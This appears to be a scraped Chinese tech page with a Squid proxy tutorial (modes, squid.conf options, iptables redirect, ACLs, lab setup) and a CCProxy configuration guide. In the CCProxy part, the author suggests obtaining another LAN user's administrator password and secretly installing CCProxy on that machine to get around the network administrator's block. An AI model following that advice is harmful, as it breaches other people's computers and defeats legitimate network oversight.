精华内容
下载资源
问答
  • Squid 代理服务

    千次阅读 2020-12-25 22:59:33
    文章目录一、Squid 简介1.1 Squid 一些概念性解释1.2 Squid 工作模式分类正向代理与反向代理的区别1.2.1 传统模式 (标准的代理缓冲服务器)1.2.2 透明模式 (透明代理缓冲服务器)1.2.3 反向代理模式 (反向代理缓冲器)...

    一、Squid 简介

    1.1 Squid 一些概念性解释

      squid是一种用来缓存Internet数据的软件。接受来自人们需要下载的目标(object)的请求并适当的处理这些请求。也就是说,如果一个人想下载一web界面,他请求squid为他取得这个页面。squid随之连接到远程服务器并向这个页面发出请求。然后,squid显式地聚集数据到客户端机器,而且同时复制一份。当下一次有人需要同一页面时, squid可以简单的从磁盘中读到它,那样数据会立即传输到客户机上。

    定义: 一个缓存服务器的守护进程

    支持的代理协议: FTP、HTTP、SSL、套接字

    存储分类: 磁盘 > 分区 > 目录 > Object(缓存文件)

    索引方式

    • Hash Tables    目录   每个 Digest 的索引信息
    • Digest Tables   索引   不同分区对应的 Object 大概说明

    squid代理的作用

    • 通过缓存的方式为用户提供Web访问加速
    • 对用户的Web访问进行过滤控制

    工作流程
    在这里插入图片描述


    当代理服务器中有客户端需要的数据时:

    a. 客户端向代理服务器发送数据请求;

    b. 代理服务器检查自己的数据缓存;

    c. 代理服务器在缓存中找到了用户想要的数据,取出数据;

    d. 代理服务器将从缓存中取得的数据返回给客户端。



    当代理服务器中没有客户端需要的数据时:

    1. 客户端向代理服务器发送数据请求;

    2. 代理服务器检查自己的数据缓存;

    3. 代理服务器在缓存中没有找到用户想要的数据;

    4. 代理服务器向Internet 上的远端服务器发送数据请求;

    5. 远端服务器响应,返回相应的数据;

    6. 代理服务器取得远端服务器的数据,返回给客户端,并保留一份到自己的数据缓存中。


    1.2 Squid 工作模式分类

    正向代理与反向代理的区别

    概念

    • 正向代理: 对于原始服务器而言,就是客户端的代言人
    • 反向代理: 对于客户端而言,就像是原始服务器

    用途

    • 正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性减少网络使用率。
    • 反向代理还可以为后端的多台服务器提供负载平衡,或为后端较慢的服务器提供缓冲服务。另外,反向代理还可以启用高级URL策略和管理技术,从而使处于不同web服务器系统的web页面同时存在于同一个URL空间下。

    安全性

    • 正向代理允许客户端通过它访问任意网站并且隐藏客户端自身,因此你必须采取安全措施以确保仅为经过授权的客户端提供服务。
    • 反向代理对外都是透明的,访问者并不知道自己访问的是一个代理。

    应用场景

    • 正向和透明代理:一般用于公司内网用户访问互联网,根据需求进行访问控制
    • 反向代理:一般用于公司服务器集群前做web缓存,提高用户访问效率,同时可以起到负责均衡作用,为互联网提供可持续端web服务。

    1.2.1 传统模式 (标准的代理缓冲服务器)

      一个标准的代理缓冲服务被用于缓存静态的网页到本地网络上的一台主机上(即代理服务器)。当被缓存的页面被第二次访问的时候,浏览器将直接从本地代理服务器那里获取请求数据而不再向原web站点请求数据。这样就节省了宝贵的网络带宽,而且提高了访问速度。但是,要想实现这种方式,必须在每一个内部主机的浏览器上明确指名代理服务器的IP地址和端口号。客户端上网时,每次都把请求发送给代理服务器处理,代理服务器根据请求确定是否连接到远程web服务器获取数据。如果在本地缓冲区有目标文件,则直接将文件传给用户即可。如果没有的话则先取回文件,先在本地保存一份缓冲,然后将文件发送给客户端浏览器。

    模式说明: 此类工作模式为三种模式中最简单的构成,对客户端配置较不友好,主要功能为加速 内网用户的访问速度,减少出口流量

    工作架构图

    在这里插入图片描述


    1.2.2 透明模式 (透明代理缓冲服务器)

      透明代理缓冲服务器和标准代理服务器的功能完全相同。但是,代理操作对客户端的浏览器是透明的(即不需指明代理服务器的IP和端口)。透明代理服务器阻断网络通信,并且过滤出访问外部的HTTP(80端口)流量。如果客户端的请求在本地有缓冲则将缓冲的数据直接发给用户,如果在本地没有缓冲则向远程web服务器发出请求,其余操作和标准的代理服务器完全相同。对于linux操作系统来说,透明代理使用Iptables或者Ipchains实现。因此不需要对浏览器作任何设置,所以,透明代理对于ISP(Internet服务器提供商)特别有用。

    模式说明: 此类工作模式配置较为复杂,需要借助防火墙对端口进行重定向操作。但是,对于客 户端来说配置较为友好无需进行任何配置即可使用代理功能,主要功能为加速内网用户的访问速度, 减少出口流量

    工作架构图

    在这里插入图片描述


    1.2.3 反向代理模式 (反向代理缓冲器)

      反向代理是和前两种代理完全不同的一种代理服务。使用它可以降低原始WEB服务器的负载。反向代理服务器承担了对原始WEB服务器的静态页面的请求,防止原始服务器过载。它位于WEB服务器和Internet之间,处理所有对WEB服务器的请求,组织了WEB服务器和Internet的直接通信。如果互联网用户请求的页面在代理服务器上有缓冲的话,代理服务器直接将缓冲内容发送给用户。如果没有缓冲则先向WEB服务器发出请求,取回数据,本地缓存后再发给用户。这种方式通过降低了WEB服务器的请求数从而降低了WEB服务器的负载。

    模式说明: 反向代理服务器位于本地 WEB 服务器和互联网用户之间,处理公网用户发送的请求 并代理至内网服务中,有效减轻后端真实服务器压力,增加服务并发能力

    工作架构图

    在这里插入图片描述


    1.3 Squid 软件及配置说明

    1.3.1 软件介绍

    软件包: squid-3.1.STABLE21-6.el6

    系统服务: squid

    主程序: /usr/sbin/squid

    配置目录: /etc/squid

    主配置文件: /etc/squid/squid.conf

    默认监听端口: TCP 3128

    默认访问日志: /var/log/squid/access.log

    特别说明:Squid 在经过 3.0 版本后使用 C 语言进行重构,效率大大提升,Centos6 标配 Squid 3.0 以后版本


    1.3.2 squid 常用配置选项

    文件位置 /etc/squid/squid.conf

    [root@localhost ~]$ vim /etc/squid/squid.conf
    # Squid 启动端口为 3128
    http_port 3128
    
    #指定 Squid 进程能够使用的内存大小(默认大小)
    cache_mem	256MB
    
    #设置squid磁盘缓存最大文件,超过4M端文件不保存到磁盘
    maximum_object_size 4MB
    
    #设置squid磁盘缓存最小文件
    minimum_object_size 0 KB
    
    #设置squid内存缓存最大文件,超过4M不保存到内存
    maximum_object_size_in_memory 4096 KB
    
    #指定允许通过 Squid 的单个元素大小
    reply_body_max_size 10 MB 
    
    #指定 Squid 对象文件存储路径使用大小限制为 100MB ,一级目录个数为 16 个,二级目录个数为 256 个
    cache_dir ufs /var/spool/squid 100 16 256
    
    #log文件日志格式
    #logformat combined %>a %ui %un [%tl] "%rm %ru HTTP/%rv" %>Hs %<st "%{Referer}>h" "%{User-Agent}>h" %Ss:%Sh
    
    #log文件存放路径和日志格式
    # access_log /var/log/squid/access.log squid
    
    #设置缓存日志
    cache_log /var/log/suqid/cache.log
    
    #log轮转60天
    logfile_rotate 60
    
    #cache目录使用量大于95%时,开始清理旧的cache
    cache_swap_high 95
    
    #cache目录清理到90%时停止
    cache_swap_low 90
    
    
    
    #定义本地网段
    acl localnet src 192.168.1.0/24
    
    #允许本地网段使用
    http_access allow localnet
    
    #拒绝所有
    http_access deny all
    
    #指定 Squid 服务器自身的主机名
    visible_hostname xxx.xxxx.xxxx
    
    #管理员邮箱
    cache_mgr 123456@qq.com
    

    二、实验构建

    2.1 传统代理模式

    实验结构图

    在这里插入图片描述
    环境
    可以参考之前的文章2.3章节搭建环境
    https://blog.csdn.net/w918589859/article/details/111146921

    client: 10.10.10.11(内网)
    squid—server: 10.10.10.12(内网) 和 20.20.20.12(公网)
    apache 20.20.20.13(公网)


    2.1.1 内网客户端(10.10.10.11)

    #客户端添加网关指向squid服务器
    [root@localhost ~]$ echo "GATEWAY=10.10.10.12" >> /etc/sysconfig/network-scripts/ifcfg-eth0
    [root@localhost ~]$ service network restart
    

    2.1.2 网关服务器 (Squid 服务器10.10.10.12)

    开启第二块网卡

    [root@localhost ~]$ mount -t iso9660 /dev/cdrom /mnt/cdrom #挂载本地yum源
    [root@localhost ~]$ service NetworkManager stop # 关闭网卡守护进程
    
    
    [root@localhost ~]$ vim /etc/sysconfig/network-scripts/ifcfg-eth1
    DEVICE=eth1
    TYPE=Ethernet
    UUID=ea68e93b-9aff-4379-b5a8-abac819dcd3b
    ONBOOT=yes
    NM_CONTROLLED=yes
    BOOTPROTO=static
    IPADDR=20.20.20.12
    NETMASK=255.255.255.0
    
    [root@localhost ~]$ service network restart
    #报错:弹出界面 eth1: 错误:没有找到合适的设备:没有找到可用于连接 'System eth1' 的设备。
    #解决办法
    #删除网卡配置文件的mac地址,然后删除这个文件,重启就好了
    #rm -f /etc/udev/rules.d/70-persistent-net.rules 
    
                                                               
    #报错:弹出界面 eth1: 错误:激活连接失败:The connection is not for this device.
    #解决办法 关闭网卡守护进程 
    #service NetworkManager stop
    
    
    
    [root@localhost ~]$ vim /etc/sysctl.conf 
    net.ipv4.ip_forward = 1 #开启路由转发,0改为1
    
    [root@localhost ~]$ sysctl -p
    
    

    安装squid服务

    [root@localhost ~]$ yum -y install squid #安装 squid 服务 
    [root@localhost ~]$ vim /etc/squid/squid.conf 
    http_port 3128 
    visible_hostname www.test.com 
    
    
    [root@localhost ~]$ service squid start
    

    2.1.3 模拟外网 WEB 服务器 (20.20.20.13)

    xshell可能连接不了,需要登录到虚拟机操作

    [root@localhost ~]$ vim /etc/sysconfig/network-scripts/ifcfg-eth0
    DEVICE=eth0
    TYPE=Ethernet
    UUID=b1f0c82e-6315-4827-91f7-8a5f8fa0b929
    ONBOOT=yes
    NM_CONTROLLED=yes
    BOOTPROTO=static
    IPADDR=20.20.20.13
    NETMASK=255.255.255.0
    
    [root@localhost ~]$ service network restart
    
    [root@localhost ~]$ service httpd start
    [root@localhost ~]$ echo "this is server1" >> /var/www/html/index.html
    

    测试
    10.10.10.11 输入init 5 启动图形界面,然后测试
    客户端输入20.20.20.13发现访问不了,这是因为,要在浏览器设置代理,代理ip地址是squid服务器地址

    在这里插入图片描述

    这时候在访问,就可以访问到,把20.20.20.13的服务器停掉,依然可以访问到,这就是缓存


    2.2 透明代理模式

    实验结构图
    在这里插入图片描述

    环境
    可以参考之前的文章2.3章节搭建环境
    https://blog.csdn.net/w918589859/article/details/111146921

    client: 10.10.10.11(内网)
    squid—server: 10.10.10.12(内网) 和 20.20.20.12(公网)
    apache 20.20.20.13(公网)


    2.2.1 内网客户端(10.10.10.11)

    #客户端添加网关指向squid服务器
    [root@localhost ~]$ echo "GATEWAY=10.10.10.12" >> /etc/sysconfig/network-scripts/ifcfg-eth0
    [root@localhost ~]$ service network restart
    

    2.2.2 网关服务器 (Squid 服务器10.10.10.12)

    开启第二块网卡

    [root@localhost ~]$ mount -t iso9660 /dev/cdrom /mnt/cdrom #挂载本地yum源
    [root@localhost ~]$ service NetworkManager stop # 关闭网卡守护进程
    
    
    [root@localhost ~]$ vim /etc/sysconfig/network-scripts/ifcfg-eth1
    DEVICE=eth1
    TYPE=Ethernet
    UUID=ea68e93b-9aff-4379-b5a8-abac819dcd3b
    ONBOOT=yes
    NM_CONTROLLED=yes
    BOOTPROTO=static
    IPADDR=20.20.20.12
    NETMASK=255.255.255.0
    
    [root@localhost ~]$ service network restart
    #报错:弹出界面 eth1: 错误:没有找到合适的设备:没有找到可用于连接 'System eth1' 的设备。
    #解决办法
    #删除网卡配置文件的mac地址,然后删除这个文件,重启就好了
    #rm -f /etc/udev/rules.d/70-persistent-net.rules 
    
                                                               
    #报错:弹出界面 eth1: 错误:激活连接失败:The connection is not for this device.
    #解决办法 关闭网卡守护进程 
    #service NetworkManager stop
    
    
    
    [root@localhost ~]$ vim /etc/sysctl.conf 
    net.ipv4.ip_forward = 1 #开启路由转发,0改为1
    
    [root@localhost ~]$ sysctl -p
    
    

    安装squid服务

    [root@localhost ~]$ yum -y install squid #安装 squid 服务 
    [root@localhost ~]$ vim /etc/squid/squid.conf 
    http_port 10.10.10.12:3128 transparent # transparent ip 为网关内网 IP
    visible_hostname www.test.com #指定主机名称
    #相比于传统代理,这里有变动
    
    
    [root@localhost ~]$ service squid reload #重新加载配置文件
    
    [root@localhost ~]$ service iptables start && chkconfig iptables on
    [root@localhost ~]$ iptables -F && iptables -L
    [root@localhost ~]$ iptables -t nat -A PREROUTING -i eth0 -s 10.10.10.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 3128 # 添加路由规则
    #往nat表上添加一条信息,当入站网卡是eth0(内网网卡),内网网段是,协议是tcp,目标端口是80的话,做一个端口重定向,重定向到3128
    
    [root@localhost ~]$ iptables -t nat -L
    Chain PREROUTING (policy ACCEPT)
    target     prot opt source               destination         
    REDIRECT   tcp  --  10.10.10.0/24        anywhere            tcp dpt:http redir ports 3128 
    
    [root@localhost ~]$ service iptables save
    
    

    2.2.3 模拟外网 WEB 服务器 (20.20.20.13)

    xshell可能连接不了,需要登录到虚拟机操作

    [root@localhost ~]$ vim /etc/sysconfig/network-scripts/ifcfg-eth0
    DEVICE=eth0
    TYPE=Ethernet
    UUID=b1f0c82e-6315-4827-91f7-8a5f8fa0b929
    ONBOOT=yes
    NM_CONTROLLED=yes
    BOOTPROTO=static
    IPADDR=20.20.20.13
    NETMASK=255.255.255.0
    
    [root@localhost ~]$ service network restart
    
    [root@localhost ~]$ service httpd start
    [root@localhost ~]$ echo "this is server1" >> /var/www/html/index.html
    

    2.3.4 下载限速

    #在服务器(20.20.20.13)创建一个文件
    [root@localhost ~]$ cd /var/www/html
    [root@localhost ~]$ dd if=/dev/zero of=1.txt bs=1M count=256 
    
    [root@localhost ~]$ vim /etc/squid/squid.conf 
    #添加下面一行
    reply_body_max_size 500 MB
    
    
    [root@localhost ~]$ service Squid reload
    

    测试
    10.10.10.11 输入init 5 启动图形界面,然后测试
    客户端输入20.20.20.13/1.txt访问,会报错


    2.3 反向代理模式

    实验结构图

    在这里插入图片描述
    环境
    可以参考之前的文章2.3章节搭建环境
    https://blog.csdn.net/w918589859/article/details/111146921

    apache1 10.10.10.11(内网)
    apache1 10.10.10.12(内网)
    squid—server: 10.10.10.13(内网) 和 20.20.20.13(公网)
    client: 20.20.20.14(公网)

    2.3.1 内网服务器(10.10.10.11、12)

    两台apache服务器都要操作

    [root@localhost ~]$ service httpd start && chkconfig httpd on
    [root@localhost ~]$ echo "this is server1" >> /var/www/html/index.html
    #echo "this is server2" >> /var/www/html/index.html  10.10.10.12
    
    #添加网关指向squid服务器
    [root@localhost ~]$ echo "GATEWAY=10.10.10.13" >> /etc/sysconfig/network-scripts/ifcfg-eth0
    
    [root@localhost ~]$ service network restart
    

    2.3.2 网关服务器 (Squid 服务器10.10.10.13)

    开启第二块网卡

    [root@localhost ~]$ mount -t iso9660 /dev/cdrom /mnt/cdrom #挂载本地yum源
    [root@localhost ~]$ service NetworkManager stop # 关闭网卡守护进程
    
    
    [root@localhost ~]$ vim /etc/sysconfig/network-scripts/ifcfg-eth1
    DEVICE=eth1
    TYPE=Ethernet
    UUID=ea68e93b-9aff-4379-b5a8-abac819dcd3b
    ONBOOT=yes
    NM_CONTROLLED=yes
    BOOTPROTO=static
    IPADDR=20.20.20.13
    NETMASK=255.255.255.0
    
    [root@localhost ~]$ service network restart
    #报错:弹出界面 eth1: 错误:没有找到合适的设备:没有找到可用于连接 'System eth1' 的设备。
    #弹出界面 eth1: eth1 设备的 MAC 地址与预想的不符,忽略。
    #解决办法
    #删除网卡配置文件的mac地址,然后删除这个文件,重启就好了
    #rm -f /etc/udev/rules.d/70-persistent-net.rules 
    
                                                               
    #报错:弹出界面 eth1: 错误:激活连接失败:The connection is not for this device.
    #解决办法 关闭网卡守护进程 
    #service NetworkManager stop
    
    
    
    [root@localhost ~]$ vim /etc/sysctl.conf 
    net.ipv4.ip_forward = 1 #开启路由转发,0改为1
    
    [root@localhost ~]$ sysctl -p
    

    安装squid服务

    [root@localhost ~]$ yum -y install squid 安装 squid 服务 
    [root@localhost ~]$ vim /etc/squid/squid.conf 
    http_port 20.20.20.13:80 vhost 
    #公网ip,# squid监听的端口,客户访问网站的端口,也可以只写端口,vhost不写也可以
    
    visible_hostname www.test.com 
    
    #cache_peer 192.168.1.2(内网中网页服务器 IP) parent 80 0 (网络中是否还有其他代理) originserver round-robin (节点以轮询的方式)
    cache_peer 10.10.10.11 parent 80 0 originserver round-robin
    cache_peer 10.10.10.12 parent 80 0 originserver round-robin
    
    
    [root@localhost ~]$ service squid start
    

    2.3.2 公网客户端(20.20.20.14)

    [root@localhost ~]$ vim /etc/sysconfig/network-scripts/ifcfg-eth0
    DEVICE=eth1
    TYPE=Ethernet
    UUID=ea68e93b-9aff-4379-b5a8-abac819dcd3b
    ONBOOT=yes
    NM_CONTROLLED=yes
    BOOTPROTO=static
    IPADDR=20.20.20.14
    NETMASK=255.255.255.0
    
    #xshell可能会断,需要登录到虚拟机操作
    

    测试

    20.20.20.14 输入init 5 启动图形界面,然后测试
    客户端输入20.20.20.13访问,会报错,不能访问,这是因为acl的设置,之前的可以访问,是因为刚好在10网段刚好在放行列表

    [root@localhost ~]$ vim /etc/squid/squid.conf
    #放行列表,添加20的网段
    acl localnet src 20.20.20.0/24     # RFC1918 possible internal network
    acl localnet src 10.0.0.0/8     # RFC1918 possible internal network
    acl localnet src 172.16.0.0/12  # RFC1918 possible internal network
    acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
    acl localnet src fc00::/7       # RFC 4193 local private network range
    acl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines
    
    [root@localhost ~]$ service squid start
    

    三、Squid ACL 设置

      所谓ACL(Access Control List)就是在服务器端设定特定的上网策略,哪些用户能上网,能访问什么网站,能下载什么文件等等对用户的上网行为进行约束和管理,这个企业一般都会进行ACL上网控制,对员工的上网行为进行控制,从而提高工作效率。这里要说的就是基于redhat代理服务程序squid的ACL控制。

    3.1 ACL 配置

      使用访问控制特性,可以控制在访问时根据特定的时间间隔进行缓存、访问特定站点或一组站点等等。squid访问控制有两个要素:ACL元素和访问列表。访问列表可以允许或拒绝某些用户对此服务的访问。

    ACL格式

    为了使用控制功能,必须先设置ACL规则并应用。ACL声明的格式如下:
    如果出现acl,但没有定义http_access,相当于没写

    acl  列表名称   列表类型    列表内容
    acl localnet    src     20.20.20.0/24
    
    列表名称:由管理员自行指定,用来识别控制条件
    
    列表类型:必须使用Squid预定义的值,对应不同类别的控制条件
    	src: 源地址(即客户机IP地址)
        dst: 目标地址(即服务器IP地址)
    	port: 目标端口
    	srcdomain: 源名称(即客户机名称)
    	dstdomain: 目标名称(即服务器名称)
    	time: 一天中的时刻和一周内的一天
    	url_regex: URL规则表达式匹配
    	urlpath_regex: URL-path规则表达式匹配,略去协议和主机名
    	proxy_auth: 通过外部程序进行用户验证
    	maxconn: 单一IP的最大连接数
    
    列表内容:具体控制的对象,不同的类型对应的内容也不一样,可以有多个值,用空格分隔
    
    

    针对已定义的 acl 列表进行限制

    http_access allow 或 deny 列表名称 ...
    

    3.2 规则总结说明

    1. 如果仅仅只有 acl 设定没有 http_access 设置默认拒绝
    2. 如果 http_access deny all 未定义,并且自己定义了一个 acl 范围,默认使用最后一条规则的反向 规则
    展开全文
  • CCProxy代理上网设置方法

    万次阅读 2009-08-15 10:57:00
    CCProxy代理上网设置方法怎样设置CCProxy? 代理服务器CCProxy 能够实现局域网内共享上网和帐号控制,界面友好,设置简单,功能强大。支持Modem、ADSL、宽带等共享上网,支持网页缓存,能实现多人共享浏览网页、收发...

    CCProxy代理上网设置方法

    怎样设置CCProxy?

     

      代理服务器CCProxy 能够实现局域网内共享上网和帐号控制,界面友好,设置简单,功能强大。支持ModemADSL、宽带等共享上网,支持网页缓存,能实现多人共享浏览网页、收发邮件和QQ联络,同时还能监视上网记录,可以针对不同用户合理的安排上网时间和带宽流量控制,有效地进行网站过滤。是非常适合政府部门,公司和学校使用的代理服务器软件,它能帮您搭建一个稳定和高效的共享上网环境。

     

      一、确认局域网连接通畅,能够相互ping成功。服务器的IP设置有几个需要注意的地方,检查服务器的网络属性,确保里面没有多余的无用的 TCP/IP协议,这种情况在Win98里比较常见,有时系统会自动添加一个无用的拨号适配器及相应的TCP/IP协议,需要删除这些多余的网卡适配器和相应的TCP/IP协议。如果服务器安装了两块网卡,在网卡IP设置上需要注意,不要将两个IP设置在一个网段内,这样会造成路由混乱。比如一块网卡是 192.168.0.1,另一块网卡就不要设置成192.168.0.2,可以设置为192.168.1.1

     

      如果没有配置好局域网,建议按照下面的方法配置局域网。分配好局域网机器的IP。一般是192.168.0.1192.168.0.2 192.168.0.3、…192.168.0.254 其中服务器是192.168.0.1,其他IP地址为客户端的IP地址。子网掩码为255.255.255.0DNS192.168.0.1

     

       服务器的网络设置可以参考下图(打开服务器的本地连接属性)

     

    客户端的网络设置可以参考下图(打开客户端的本地连接属性),假设IP192.168.0.2,其他客户端的网络设置只是IP不同而已

     

    在服务器上运行下载的CCProxy安装程序,安装完后会自动运行CCProxy

     

      如果在启动是没有出现任何错误信息,那么安装成功。否则可以按照下面的方法检查:

    1 ) DNS启动失败

     

    i. 服务器上安装了其他代理服务器软件。这时需要停用其他代理服务器。

    ii. 服务器缺省安装了Windows自带的DNS服务器。这种情况一般多发生在Win2000上。因为Win2000已经自动安装了DNS服务器,无需使用CCProxyDNS服务,可以取消CCProxyDNS代理:“设置” -> 取消"DNS"选项。

    iii. 如果无需使用SOCKS v4代理(这是一种老代理协议,已经很少使用了),可以取消CCProxyDNS代理:“设置” -> 取消"DNS"选项。因为只有这个代理需要DNS服务。

     

    2) 邮件代理启动失败

    i. 如果你安装了可以防止Email病毒的杀毒软件,可能会造成110(POP3)端口冲突,这时你需要停用该软件的邮件杀毒功能。虽然CCProxy提供了修改POP3端口的功能,但是我们不建议你这样做,因为会导致大量客户端程序跟着修改端口。我们建议您使用优秀的杀毒软件Norton

    ii. 如果你安装了其他代理服务器软件,可能会造成110(POP3)25(SMTP)端口冲突。因为有些代理服务器可能也具备邮件代理功能。这种情况下,你需要停止这些代理服务器中的邮件代理功能。

    iii. 如果你安装了防火墙程序,也可能会造成端口冲突。需要开放25(SMTP)110(POP3)53(DNS)80(HTTP)8011(Admin)5353(MX)端口。

    iv. 如果你安装了邮件服务器程序,也会造成端口冲突。原因是很明显的,都用了相同的端口。你必须停止这些邮件服务器才能使CCProxy运行正常。

    v. 如果你能确认其他软件也能完成邮件代理功能(CMailServer),那么你可以不必再用CCProxy的邮件代理了,从“设置”里取消“邮件代理”。

     

    一个很简单的测试本机是否安装了其他跟邮件有关的软件的方法:在命令行方式下,输入命令 telnet 127.0.0.1 110 或者 telnet 127.0.0.1 25,你就可以看到相应的提示信息判断出跟哪个软件有关。

     

    3) 新闻代理服务启动失败

    i. 服务器上安装了其他代理服务器软件。这时需要停用其他代理服务器。

    ii. 服务器上安装了微软的NNTP Service,这是需要停用NNTP服务。

    从控制面板->添加/删除程序->添加/删除windows组件->Internet信息服务(IIS)->NNTP Service 取消NNTP服务。

     

    4) SOCKS或者HTTP等代理启动失败

    出现这种问题,主要是因为您的机器已经安装了其他网络相关软件,造成端口冲突。

    i. 可以试着停止某些正在运行的软件,看是否有影响。

    ii. 进入CCProxy设置界面,修改相应协议的端口。一般可以在原端口上加1。如SOCKS代理的端口缺省值是1080,可以试着改成1081,看是否还有冲突。

     

      其他需要注意的事项。

     

    1 ) 要注意服务器上是否安装过其他代理服务器软件,由于某些默认端口是相同的,很容易造成冲突。建议您在安装前将其反安装掉,因为有时停止不一定有效,有些代理服务器软件是作为NT服务方式运行的。同样客户端如果安装了某些代理服务器软件的客户端,也需要反安装,否则会影响客户端与代理服务器的通讯。

    2 ) 要注意服务器上杀毒软件,防火墙软件的配置和使用,如果使用不当,就很可能影响CCProxy对互联网的访问和客户端对CCProxy的连接。我们推荐您使用Norton杀毒软件,经我们实际测试和使用,CCProxyNorton可以保持很好的兼容性。

     

      缺省代理端口列表

     

    HTTP: 808 用于浏览器上网

    FTP (Web): 808 -用于浏览器连接FTP站点

    FTP: 2121-用于FTP客户端软件连接FTP站点(如cuteftp

    Gopher: 808-用于浏览器连接Gopher站点

    Secure/SSL/HTTPS: 808 -用于浏览器连接安全站点

    RTSP: 808-用于realplayer

    SOCKS: 1080-用于部分网络客户端软件(如QQ,联众)

    MMS: 1080-用于mediaplayer

    News (NNTP): 119-用于outlook连接新闻服务器

    SMTP: 25-用于邮件客户端软件发送邮件(如outlookfoxmail

    POP3: 110-用于邮件客户端软件接收邮件(如outlookfoxmail

    Telnet: 23-用于某些Telnet客户端软件,如(Cterm

     

    转载声明:本贴转自 http://zhidao.baidu.com/question/12301133.html

     

    在此对本帖原创者,致以最诚挚的感谢!

     

     

    =============================================================

     

    首先给大家说下我的网络环境,因为每个人的网络环境不同,都会有差异的,所以你在这之前你必须了解自己的网络环境,比如说你在局域网内可不可以上网啊,可以上网又是通过什么方式上的等等。作战方针:抓住基本原理不变,根据自己的网络环境灵活运用。我的机器在局域网内假设IP192.168.1.22,网管没有给我开通上网,所以第一步就是要使自己能够上网,我是这样做的,我找到局域网内一个可以上网的朋友假设他的IP192.168.1.12,在他的机器上安装了一个代理上网的软件--本场的第一主角--CCProxy,这个代理软件功能强大,又容易使用,所以现在使用的比较普遍,大家可以自己去网络上搜索相关资料,在这我就不放下载地址了。如果你找不到这样的朋友肯给你安装CCProxy的,那你想办法搞到局域网内任意一台可以上网的机器的管理员密码,只要你有管理员密码就可以偷偷的把CCProxy安装他的电脑中,(至于怎样偷偷安装进去就是另一个话题了,有兴趣的可以加我QQ1020703335,大家一起学习研究)因为CCProxy支持自动启动,启动后自动隐藏,所以对方很难察觉。暗爽!好了,下面介绍CCProxy的一些主要配置,CCProxy的启动界面如图一:主要功能就在“设置”和“帐号”两个里面

    先讲“帐号”:点击“帐号”进去,你可以点“新建”把自己的IP添加进去,如图二设置,设置好按确定退出。

    再讲“设置”:点“设置”进去,配置如图三:

     

    这里尽量的把“代理服务”“协议”前面的勾全勾上,我的Telnet协议没选,因为对方的机器如果开了Telnet服务这里选上的话,启动CCProxy时就会报错,所以以防万一Telnet不选,不影响上网的。注意:“代理服务”中的“DNS”一定要选上的,这个选项关系到以后游戏能不能成功运行。“端口”基本上不要改,如果“端口”被封了的话,可以改下试试,比如“协议”Socks/MMs的端口1080被封了,要玩网游主要是这个协议和端口了,你可以把它改成1081或其他没用的端口试试。设置好了按“确定”生效。

     

    对了,“确定”前面的那个“高级”中有几个设置也给大家说说,点“高级”进去如图四:


    5个选项,前面“拨号”和“缓存”不用管它,“二级代理”如果你找的你朋友的机器是直接可以上网的,你就不要选中“启用二代理”,“本地协议”选“ALL”,如果你朋友的机器又是通过另外一台机器代理上网的,比如那台机器的IP192.168.1.10,那你就选中“启用二级代理”,设置如图五:

    “日志”选项和“其他”选项也没什么,自己看看就明白。

     

    好了,到这CCProxy代理软件的设置就算完成了,注意哦CCProxy是装在朋友可上网的机器上(192.168.1.12),不要装在自己机器上了(192.168.1.22),不要搞错了。现在我们可以在自己机器上验证下可不可上网了,在自己机器上打开“我的电脑”→“控制面板”

     

      →“Internet选项”,选“连接”选项中的“局域网设置”进去,设置如图六:


    设好按“确定”退出,打开IE浏览器,随便输入个网址看能不能访问的到,如果可以那恭喜你,你已经成功了一半。

     

    =============================================================

     

    CCProxy高级功能介绍

     

    代理服务器CCProxy开发了大量针对网络管理员的高级功能,下面的介绍只是关于高级功能的说明和对应的参数设置。 所有参数在修改保存后,都需要重新启动CCProxy

     

    怎样修改帐号管理所支持的帐号数

     

    默认值是300。对应CCProxy.ini里的MaxUserCount

     

    怎样修改时间安排的支持数目

     

    默认值是20。对应CCProxy.ini里的MaxTimeSchedule

     

    怎样修改网站过滤的支持数目

     

    默认值是20。对应CCProxy.ini里的MaxWebFilter

     

    怎样修改CCProxy的同时在线支持数目

     

    默认值是300。对应CCProxy.ini里的MaxConnection

     

    怎样拦截进出代理服务器的所有数据

     

    本功能原来是方便用户反馈程序错误用的。在主界面上,按住Ctrl键,双击"0/0"。所有拦截的数据都保存到C:/log.dat。最多保存256K数据。此功能影响代理服务器速度,需即时关闭。对应CCProxy.ini里的BugTrace

     

    怎样在线检查CCProxy最新版本

     

    此功能不会将您的电脑的任何信息发送给遥志软件,请放心使用。

    双击主界面上的U字母。

     

    怎样修改界面的连接数曲线(绿色)的显示高度和流量带宽曲线(黄色)显示高度?

     

    在界面上单击鼠标右键,在弹出的窗口中修改度默认是300256,如图。

     

    怎样调出Windows任务管理器?

     

    双击主界面上的0/0

     

    怎样知道所运行的CCProxy的发布时间

     

    双击主界面上的时间数字。

     

    怎样快速进到CCProxy安装目录

     

    按着Ctrl键,双击主界面上的时间数字。

     

    怎样知道今天的农历日期

     

    按着Shift键,双击主界面上的时间数字。

     

    怎样实现启动CCProxy时自动拨号和关闭CCProxy时自动断线

     

    对应CCProxy.ini里的DialWhenStartupDisconnectWhenShutdown。将值设成1时,表示打开这个功能。在使用此功能前,要设置好代理服务器的拨号选项。

     

    怎样让服务器拨号闲置时自动断网并关机

     

    此功能由黑龙江天衣有缝提出。首先要设置好拨号闲置自动断开功能,然后将CCProxy.ini里的

    ShutDownWhenIdle=1

     

    怎样实现定时关机

     

    CCProxy.ini

    [ShutDown]

    Enable=1

    Time=20:00

    表示20:00关机

     

    CCProxy.ini

    [ShutDown]

    Enable=1

    Time=05:05

    表示05:05关机

     

    此功能最好在CCProxy NT服务方式下运行,这样CCProxy可以获得更高的权限来关闭电脑

     

    怎样修改网站过滤服务器返回的字符串

     

    CCProxy.ini里的

    WebSiteForbidden对应站点过滤服务器返回的字符串。注意,要保留%sWebContentForbidden对应内容过滤服务器返回的字符串。

    如果WebSiteForbidden里填写的是一个文件绝对路径名,那么服务器会读取该文件来作为过滤网站返回信息。如:WebSiteForbidden=c:/alert.htm

    如果WebContentForbidden里填写的是一个文件绝对路径名,那么服务器会读取该文件来作为内容过滤返回信息。如:WebSiteForbidden=c:/alert.htm

     

    怎样修改网页身份认证里的字符串

     

    CCProxy.ini里的

    WebAuthTitle对应认证对话框里的字符串“CCProxy Authorization”。AuthorityFailed对应认证失败后服务器返回的字符串。

     
